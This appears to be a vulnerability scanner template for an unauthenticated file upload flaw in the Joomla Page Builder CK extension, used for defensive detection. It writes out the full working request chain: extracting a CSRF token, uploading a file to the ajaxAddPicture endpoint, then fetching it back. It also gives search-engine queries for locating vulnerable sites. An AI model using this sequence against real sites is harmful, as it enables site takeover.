Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload

id: CVE-2026-56290

info:
  name: Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload
  author: panchiko-p,0x_Akoko
  severity: critical
  description: |
   Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.
  impact: |
   Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.
  remediation: |
   Update to the latest version of Page Builder CK.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56290
    - https://cxsecurity.com/issue/WLB-2026070010
    - https://www.exploit-db.com/exploits/52626
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56290
    epss-score: 0.30866
    epss-percentile: 0.98267
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: joomlack
    product: page_builder_ck
    framework: joomla
    shodan-query: http.html:"com_pagebuilderck"
    fofa-query: body="com_pagebuilderck"
  tags: cve,cve2026,joomla,pagebuilderck,file-upload,rce,intrusive,kev,vkev

variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "csrf")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'
          - 'csrf\.token"\s*:\s*"([a-f0-9]{32})"'

  - raw:
      - |
        POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBCK
        Referer: {{BaseURL}}/
        Origin: {{BaseURL}}

        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="path"

        media/com_pagebuilderck/gfonts/
        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56290-{{marker}}
        ------WebKitFormBoundaryPBCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_pagebuilderck/gfonts/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56290-{{marker}}")'
        condition: and